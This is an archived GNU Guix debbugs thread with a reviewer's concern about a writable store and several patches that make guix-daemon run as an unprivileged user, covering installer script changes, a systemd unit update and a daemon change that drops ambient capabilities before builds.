> a way to do that).  Thus =E2=80=98guix-install.sh=E2=80=99 no longer inst=
alls
> =E2=80=98gnu-store.mount=E2=80=99 in that case.  It=E2=80=99s a bit sad t=
o lose that
> so if anyone can think of a way to achieve it, that=E2=80=99d be great.

Hmm.  So this is is about using guix as a package manager on foreign
systems, for now?  Will there be an option for users to choose between
a non-root guix-daemon or a read-only store?

I'm kind of afraid that having a writable /gnu/store, even if it's just
on foreign distributions, is going to cause a whole lot of problems/bug
reports with people changing files in the store.  When I came to guix I
ran it on Debian for a couple of months and I certainly changed files in
the store, even with the read-only mount hurdle, to "get stuff to
build".  Only later to realise that by doing so I was making things much
more difficult for myself.

Hopefully I'm either misunderstanding this patch set, or else too
pessimistict, and maybe other people aren't as stupid as I was when I
first came to Guix?

Greetings,
Janneke

--=20
Janneke Nieuwenhuizen <janneke@HIDDEN>  | GNU LilyPond https://LilyPond.org
Freelance IT https://www.JoyOfSource.com | Avatar=C2=AE https://AvatarAcade=
my.com




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:26 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Jan 24 12:25:26 2025
Received: from localhost ([127.0.0.1]:46906 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNQs-0003UD-52
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:26 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:39782)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQm-0003Qt-U1
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:21 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNQh-00083r-LL; Fri, 24 Jan 2025 12:25:15 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=CyAW63unydjdK3bGh0fu/fzPuWtUxy3K5XUchGmxeSg=; b=KT72z/lctyH4OjwoNNdE
 o5/75ESzb5N8Y0bW9U+789AIm3B/KcEQtRgp4avGhwqOkstsB2pjEFbmNFEYZtLlcb3KV6UOWZ+0H
 iDqAmTZEPj2zYqrUHhGmYd5L3uQCe8CtBVD0js0xl+3dNuiluNcmXe6UVGCSDag9sIHGEbZsXZWSe
 EPm9dlasF+3h8xAf23rAmlQiFqyFVG//XTcRPEL2WzeJy8rxapf/9V8/iYVsZ3a9TJEmE5dHEtFkk
 Ty19FaunyVISMYeWGOBJZ6pDfom1DX5WOVIIyB/klw30bxZSliHi6+wBmPF8+TyH3kIhwO1abLXG1
 a8MOeentOPwwmg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH 6/6] guix-install.sh: Support the unprivileged daemon where
 possible.
Date: Fri, 24 Jan 2025 18:24:56 +0100
Message-ID: <2c04ad0cb868e4f41047f971c05915c5419729bd.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
References: <cover.1737738362.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-install.sh (create_account): New function.
(sys_create_build_user): Use it.  When ‘guix-daemon.service’ contains
“User=guix-daemon” only create the ‘guix-daemon’ user and group.
(sys_delete_build_user): Delete the ‘guix-daemon’ user and group.
(can_install_unprivileged_daemon): New function.
(sys_create_store): When installing the unprivileged daemon, change
ownership of /gnu and /var/guix, and create /var/log/guix.
(sys_authorize_build_farms): When the ‘guix-daemon’ account exists,
change ownership of /etc/guix.
(sys_enable_guix_daemon): Do not install ‘gnu-store.mount’ when running
an unprivileged daemon.

Change-Id: I73e573f1cc5c0cb3794aaaa6b576616b66e0c5e9
---
 etc/guix-install.sh | 114 +++++++++++++++++++++++++++++++++++---------
 1 file changed, 91 insertions(+), 23 deletions(-)

diff --git a/etc/guix-install.sh b/etc/guix-install.sh
index f07b2741bb..4f08eff847 100755
--- a/etc/guix-install.sh
+++ b/etc/guix-install.sh
@@ -389,6 +389,11 @@ sys_create_store()
     cd "$tmp_path"
     _msg "${INF}Installing /var/guix and /gnu..."
     # Strip (skip) the leading ‘.’ component, which fails on read-only ‘/’.
+    #
+    # TODO: Eventually extract with ‘--owner=guix-daemon’ when installing
+    # and unprivileged guix-daemon service; for now, this script may install
+    # from both an old release that does not support unprivileged guix-daemon
+    # and a new release that does, so ‘chown -R’ later if needed.
     tar --extract --strip-components=1 --file "$pkg" -C /
 
     _msg "${INF}Linking the root user's profile"
@@ -414,38 +419,82 @@ sys_delete_store()
     rm -rf ~root/.config/guix
 }
 
+create_account()
+{
+    local user="$1"
+    local group="$2"
+    local supplementary_groups="$3"
+    local comment="$4"
+
+    if id "$user" &>/dev/null; then
+	_msg "${INF}user '$user' is already in the system, reset"
+	usermod -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" "$user"
+    else
+	useradd -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" --system "$user"
+	_msg "${PAS}user added <$user>"
+    fi
+}
+
+can_install_unprivileged_daemon()
+{ # Return true if we can install guix-daemon running without privileges.
+    [ "$INIT_SYS" = systemd ] && \
+	grep -q "User=guix-daemon" \
+	     ~root/.config/guix/current/lib/systemd/system/guix-daemon.service \
+	&& ([ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+		|| [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ])
+}
+
 sys_create_build_user()
 { # Create the group and user accounts for build users.
 
     _debug "--- [ ${FUNCNAME[0]} ] ---"
 
-    if getent group guixbuild > /dev/null; then
-        _msg "${INF}group guixbuild exists"
-    else
-        groupadd --system guixbuild
-        _msg "${PAS}group <guixbuild> created"
-    fi
-
     if getent group kvm > /dev/null; then
         _msg "${INF}group kvm exists and build users will be added to it"
         local KVMGROUP=,kvm
     fi
 
-    for i in $(seq -w 1 10); do
-        if id "guixbuilder${i}" &>/dev/null; then
-            _msg "${INF}user is already in the system, reset"
-            usermod -g guixbuild -G guixbuild${KVMGROUP}     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i"             \
-                    "guixbuilder${i}";
-        else
-            useradd -g guixbuild -G guixbuild${KVMGROUP}     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i" --system    \
-                    "guixbuilder${i}";
-            _msg "${PAS}user added <guixbuilder${i}>"
-        fi
-    done
+    if [ "$INIT_SYS" = systemd ] && \
+	   grep -q "User=guix-daemon" \
+		~root/.config/guix/current/lib/systemd/system/guix-daemon.service
+    then
+	if getent group guix-daemon > /dev/null; then
+	    _msg "${INF}group guix-daemon exists"
+	else
+	    groupadd --system guix-daemon
+	    _msg "${PAS}group guix-daemon created"
+	fi
+
+	create_account guix-daemon guix-daemon		\
+		       guix-daemon$KVMGROUP		\
+		       "Unprivileged Guix Daemon User"
+
+	# ‘tar xf’ creates root:root files.  Change that.
+	chown -R guix-daemon:guix-daemon	\
+	      /gnu /var/guix
+
+	# The unprivileged cannot create the log directory by itself.
+	mkdir /var/log/guix
+	chown guix-daemon:guix-daemon /var/log/guix
+	chmod 755 /var/log/guix
+    else
+	if getent group guixbuild > /dev/null; then
+            _msg "${INF}group guixbuild exists"
+	else
+            groupadd --system guixbuild
+            _msg "${PAS}group <guixbuild> created"
+	fi
+
+	for i in $(seq -w 1 10); do
+	    create_account "guixbuilder${i}" "guixbuild"	\
+	                   "guixbuild${KVMGROUP}"		\
+			   "Guix build user $i"
+	done
+    fi
 }
 
 sys_delete_build_user()
@@ -460,6 +509,14 @@ sys_delete_build_user()
     if getent group guixbuild &>/dev/null; then
         groupdel -f guixbuild
     fi
+
+    _msg "${INF}remove guix-daemon user"
+    if id guix-daemon &>/dev/null; then
+	userdel -f guix-daemon
+    fi
+    if getent group guix-daemon &>/dev/null; then
+	groupdel -f guix-daemon
+    fi
 }
 
 sys_enable_guix_daemon()
@@ -503,7 +560,14 @@ sys_enable_guix_daemon()
               # Install after guix-daemon.service to avoid a harmless warning.
               # systemd .mount units must be named after the target directory.
               # Here we assume a hard-coded name of /gnu/store.
-              install_unit gnu-store.mount
+	      #
+	      # FIXME: This feature is unavailable when running an
+	      # unprivileged daemon.
+	      if ! grep -q "User=guix-daemon" \
+		   /etc/systemd/system/guix-daemon.service
+	      then
+		  install_unit gnu-store.mount
+	      fi
 
               systemctl daemon-reload &&
                   systemctl start  guix-daemon; } &&
@@ -627,6 +691,10 @@ project's build farms?"; then
 		&& guix archive --authorize < "$key" \
 		&& _msg "${PAS}Authorized public key for $host"
 	done
+	if id guix-daemon &>/dev/null; then
+	    # /etc/guix/acl must be readable by the unprivileged guix-daemon.
+	    chown -R guix-daemon:guix-daemon /etc/guix
+	fi
     else
         _msg "${INF}Skipped authorizing build farm public keys"
     fi
-- 
2.47.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:26 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Jan 24 12:25:26 2025
Received: from localhost ([127.0.0.1]:46904 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNQr-0003U6-N7
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:26 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:39776)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQm-0003Pe-0g
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:20 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNQg-00083e-Lr; Fri, 24 Jan 2025 12:25:14 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=fSDfv9Lxo7q8Hsp8XW9PKQoYdqQwT7VmmKky0xhAbcI=; b=W6eLg23Pxz1Cteorp7el
 9OMHLil4xhz9F2DC3McI82HhKJIjEMuj7TuZIq9QiVKr0JSxYTwlTDyviiE+fbf2puVxawKUvFJKB
 WQzzYNPm/82UHzOV/6x97Uy+K87Gcadis+eiJjbUI8QtLfW7m5FLBRT+hcaavBH+x3+AEFHNABr0J
 cSYxEbX80yG/ThhrJQo+gXCLKrllHtNof/wZYBAXfMkOK6gpB9R/xcGogDITvk0MsWSfnER/50Gbf
 K8S6jqEatajb4sMX2J2C2ZKXwHQ/e0kzkHxUFqQnnKq/61lX2uTh2BXsWyTpUtEnAdZpKUf4Z0xpf
 IkcW8dccFhci4w==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH 5/6] =?UTF-8?q?etc:=20systemd=20services:=20Run=20?=
 =?UTF-8?q?=E2=80=98guix-daemon=E2=80=99=20as=20an=20unprivileged=20user.?=
Date: Fri, 24 Jan 2025 18:24:55 +0100
Message-ID: <713be4d9b744226c4922f3eec66adfb3547c95bc.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
References: <cover.1737738362.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-daemon.service.in (ExecStart): Remove ‘--build-users-group’.
(User, AmbientCapabilities): New fields.

Change-Id: Id826b8ab535844b6024d777f6bd15fd49db6d65e
---
 etc/guix-daemon.service.in | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/etc/guix-daemon.service.in b/etc/guix-daemon.service.in
index 5c43d9b7f1..f9f0b28b35 100644
--- a/etc/guix-daemon.service.in
+++ b/etc/guix-daemon.service.in
@@ -7,9 +7,19 @@ Description=Build daemon for GNU Guix
 
 [Service]
 ExecStart=@localstatedir@/guix/profiles/per-user/root/current-guix/bin/guix-daemon \
-    --build-users-group=guixbuild --discover=no \
+    --discover=no \
     --substitute-urls='@GUIX_SUBSTITUTE_URLS@'
 Environment='GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8
+
+# Run under a dedicated unprivileged user account.
+User=guix-daemon
+
+# Provide the CAP_CHOWN capability so that guix-daemon cran create and chown
+# /var/guix/profiles/per-user/$USER and also chown failed build directories
+# when using '--keep-failed'.  Note that guix-daemon explicitly drops ambient
+# capabilities before executing build processes so they don't inherit them.
+AmbientCapabilities=CAP_CHOWN
+
 StandardOutput=journal
 StandardError=journal
 
-- 
2.47.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:25 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Jan 24 12:25:25 2025
Received: from localhost ([127.0.0.1]:46902 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNQr-0003Ty-8R
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:25 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:39768)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQk-0003Oo-Ky
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:19 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNQf-00083D-9K; Fri, 24 Jan 2025 12:25:13 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=EJBKOU++7w/goxoEBuHLi3cBsE8e18X1/aR/9Jrf8LE=; b=fB+G4mN2dIcVTtbIfWdw
 MgcupQqBw2810LhWVSmlEWRVsjDJKjpS8Vtm/MZcnSIsV0naVdz+oEePbqjPrqKWhHrygl0HBP0E8
 WRH5WFPvzxEzoXoq/eXYxloUG31MGrzu1nVjbnhRalfOhIyqwhqYuD+yGfd2QQqNQOEhaF7Hn6Mz8
 TveWbZ4iO2wnzMxmO67lJZShHgwTQVY5sgSof18plO49997H+u+c3E0bMX21RNZuao1TSQ2KeXqnU
 7xeQbH1hpueJKB/xYjcXskeNcywddrfXJrpymARsRQdSlKjsE663erac8q8lnr0Wju1icfctI8scT
 XnLfPgve3bG0yQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH 4/6] daemon: Drop Linux ambient capabilities before executing
 builder.
Date: Fri, 24 Jan 2025 18:24:54 +0100
Message-ID: <d0fe57ac1b0f14d2fcfb01b9c9de80905cee73e1.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
References: <cover.1737738362.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* config-daemon.ac: Check for <sys/prctl.h>.
* nix/libstore/build.cc (DerivationGoal::runChild): When ‘useChroot’ is
true, call ‘prctl’ to drop all ambient capabilities.

Change-Id: If34637fc508e5fb6d278167f5df7802fc595284f
---
 config-daemon.ac      | 2 +-
 nix/libstore/build.cc | 9 +++++++++
 2 files changed, 10 insertions(+), 1 deletion(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 6731c68bc3..aeec5f3239 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -78,7 +78,7 @@ if test "x$guix_build_daemon" = "xyes"; then
 
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
-  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h])
+  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h sys/prctl.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 727472c77f..c95bd2821f 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -50,6 +50,9 @@
 #if HAVE_SCHED_H
 #include <sched.h>
 #endif
+#if HAVE_SYS_PRCTL_H
+#include <sys/prctl.h>
+#endif
 
 
 #define CHROOT_ENABLED HAVE_CHROOT && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_PRIVATE)
@@ -2077,6 +2080,12 @@ void DerivationGoal::runChild()
 
 #if CHROOT_ENABLED
         if (useChroot) {
+# if HAVE_SYS_PRCTL_H
+	    /* Drop ambient capabilities such as CAP_CHOWN that might have
+	       been granted when starting guix-daemon.  */
+	    prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0);
+# endif
+
 	    if (!fixedOutput) {
 		/* Initialise the loopback interface. */
 		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-- 
2.47.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:25 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Jan 24 12:25:25 2025
Received: from localhost ([127.0.0.1]:46900 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNQq-0003Tt-T4
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:25 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:39752)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQj-0003Nd-Jy
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:17 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNQe-000830-9V; Fri, 24 Jan 2025 12:25:12 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=+scMzR3E2mTiYzHwZP6c6yC+K2EC253ixfUcI5GQnC0=; b=lHG2Nur75MT5dtAMk4hL
 02G6w8l7tkVittNIFRzYryUXLQIdCZEKJKuqwkj+emUQPr9xB/1M5ZEqf5znvBFmiqYf03GgHVw7a
 jBGez9Ic4jlpwoOt6sVrvdOWv57oSQ7Sv3XkBb6pYqNL5z3O7efKYU6zFDIRUUP90g+t4bnwhEe2v
 TJCi1r3jDrbVbC/54JyrauF2BYj8bvQU0DPnHybBUyUfKbfQOj09Ne7NquZRfLRQ4rRxsST7bpi06
 P7Pi2WDlp6RNQUZ77+zYFllKCLfMBDLZOcZr2rTJ9LxhifcSVJJ7NSVKvOOeCINLUn7ykwUl3ReXp
 XT83szKuVx62eA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH 3/6] daemon: Create /var/guix/profiles/per-user
 unconditionally.
Date: Fri, 24 Jan 2025 18:24:53 +0100
Message-ID: <d68dadd3e97944bc3339402d3be9fe8899b8c1dc.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
References: <cover.1737738362.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/local-store.cc (LocalStore::LocalStore): Create
‘perUserDir’ unconditionally.

Change-Id: I5188320f9630a81d16f79212d0fffabd55d94abe
---
 nix/libstore/local-store.cc | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 4308264a4f..6384669519 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -79,12 +79,12 @@ LocalStore::LocalStore(bool reserveSpace)
         createSymlink(profilesDir, gcRootsDir + "/profiles");
     }
 
-    /* Optionally, create directories and set permissions for a
-       multi-user install. */
+    Path perUserDir = profilesDir + "/per-user";
+    createDirs(perUserDir);
+
+    /* Optionally, set permissions for a multi-user install.  */
     if (getuid() == 0 && settings.buildUsersGroup != "") {
 
-        Path perUserDir = profilesDir + "/per-user";
-        createDirs(perUserDir);
         if (chmod(perUserDir.c_str(), 0755) == -1)
             throw SysError(format("could not set permissions on '%1%' to 755")
                            % perUserDir);
-- 
2.47.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:24 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Jan 24 12:25:24 2025
Received: from localhost ([127.0.0.1]:46898 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNQq-0003To-5Q
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:24 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:39746)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQi-0003NN-Tg
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:17 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNQd-00082m-D2; Fri, 24 Jan 2025 12:25:11 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=bRN6Nu59+C3SYAE0PEM9bbTrcQYq/PayE8qd5RFzwjI=; b=M9DURPznSXpt/+0Faw8C
 EdqRR1TvbFB7f6yj81bRRhFhl1Vc1JeO65oV8gml+XdJTxFRZ5ijqmD853y1AoMF0nbhaeLxgdq4f
 q7hmO+LYKdWkIvi4uEzUVVCHdHl0CNtMVbIt4YWgZ1b6bAedkxM8DtSVBeI/dDCMoJ6XplYoNIvXB
 WKD3IamMG5IxYZlDg7gBjEoEK45fms4irhWHmes9jcc++Riww16spzf0+6NLr4ZJG0M2ElvMexhAv
 F5ngTtp3LOzbY5eid1vrzM9akT4G6GAGL1oNUaJDm8r9ntfwuM4r4FzjoR/p1YOrKA2FJgu7l1bJP
 vBZ7RxfdQgwm4w==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH 2/6] DRAFT tests: Run in a chroot and unprivileged user
 namespaces.
Date: Fri, 24 Jan 2025 18:24:52 +0100
Message-ID: <6fb69ee481d628317ed09c6e762f38489bab0ea7.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
References: <cover.1737738362.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
